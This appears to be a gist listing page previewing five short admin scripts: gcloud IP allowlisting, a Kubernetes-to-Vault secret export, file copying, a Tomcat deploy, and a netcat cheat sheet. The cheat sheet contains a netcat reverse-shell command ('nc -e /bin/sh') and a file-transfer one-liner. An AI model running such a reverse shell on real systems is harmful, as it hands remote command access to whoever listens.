This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Bash script to enable your public ip to access the project configured locally with gcloud. | |
# If a rule already exists associated with this principal(set up as the description on creation time), | |
# the existing rule is updated instead of creating a new rule. | |
# You need to have gcloud installed and initialized with your principal and corresponding project you want to access to. | |
# A security policy with the name defined under the POLICY_NAME variable above must exist already in the project | |
# Input parameters | |
PRINCIPAL=$(gcloud auth list --filter=status:ACTIVE --format='value(ACCOUNT)') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
""" | |
Python script to read Kubernetes Secrets and export them into | |
Hashicorp Vault. The following environment variables need to be defined: | |
VAULT_ADDR: Address of the vault | |
VAULT_SECRETS_PATH: Root path where secrets will be stored | |
SECRET_NAMES: Names of the secrets that will be exported. This filed is OPTIONAL, if not provided, all secrets will be exported. | |
""" | |
import yaml |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Netcat simple listen | |
netcat -lvp [port] | |
# Netcat reverse shell | |
nc -e /bin/sh [destination] [port] | |
# Nectat file transfer | |
nc -l -p 1234 > out.file | |
nc -w 3 [destination] [port] < out.file |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# Copies files from one folder(new_folder) to another(main_folder) making sure that | |
# if there is a duplicate it doesn't get overwritten but instead copied with a different name. | |
import os | |
import filecmp | |
import shutil | |
import glob | |
import sys | |
# Looks for a file in a path |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
[ "$UID" -eq 0 ] || exec sudo "$0" "$@" | |
export DESTINATION=/usr/share/tomcat/webapps | |
export WAR_NAME=mywebapp | |
export WAR_EXTENSION=war.original | |
export MAVEN_HOME=~/apache-maven-3.5.4 | |
export SERVICE_NAME=tomcat | |
set -x #echo on | |
set -e #exit on error | |
service $SERVICE_NAME stop |